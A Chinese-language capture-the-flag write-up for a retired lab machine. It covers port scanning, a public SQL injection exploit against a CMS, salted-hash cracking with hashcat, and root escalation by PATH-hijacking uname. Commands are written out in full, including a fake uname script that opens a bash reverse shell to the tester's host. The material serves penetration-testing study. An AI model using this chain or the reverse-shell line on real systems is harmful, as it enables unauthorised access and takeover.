本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.138
本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描
执行命令 autorecon 10.10.10.138 -o ./Writeup-autorecon
快速扫描 ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.138 | grep ^[0-9] | cut -d '/' -f 1 | tr ' ' ',' | sed s/,$//) nmap -sC -sV -p$ports 10.10.10.138
就开了2个端口,扫描结果发现了writeup,访问得到如下
查看网页源代码发现使用的cms程序名称
根据其显示Copyright 2004-2019的结果猜测有可能是最近的漏洞版本有关
经过测试确认存在SQL注入漏洞可以利用https://www.exploit-db.com/exploits/46635
python 46635.py -u http://10.10.10.138/writeup
得到了账号和加了salt的密码hash,我们使用hashcat进行密码破解
echo '62def4866937f08cc13bab43bb14e6f7:5a599ef579066807' > bmfxhash hashcat -a 0 -m 20 bmfxhash /usr/share/wordlists/rockyou.txt
得到账号和密码之后直接就ssh登录
执行id命令,发现当前用户存在于很多组,其中存在于组staff,通过下载pspy程序到目标靶机上执行进程活动,同时再次ssh登录目标靶机发现
发现了登录用户jkr的时候回执行/etc/update-motd.d文件夹下的文件,查看下面的文件内容
执行的文件命令是uname -rnsom 此处我们就可以通过PATH劫持的方式劫持命令uname进行提权,具体提权看如下操作
通过PATH进行劫持uname这个命令 cd /tmp printf '#!/bin/bash' > uname printf ' bash -i >& /dev/tcp/10.10.14.3/8833 0>&1' >> uname chmod a+x uname cp uname /usr/local/bin/
上面最后一步劫持复制到目录/usr/local/bin/的原因是该路径下属于组staff,具体可以查看这里:https://wiki.debian.org/SystemGroups 大概意思就是是该组的用户可以不需要root权限就可以更改$PATH信息从而达到劫持的效果
上述执行完成操作之后记得要再次ssh登录目标靶机然后本地监听反弹端口即可触发提权操作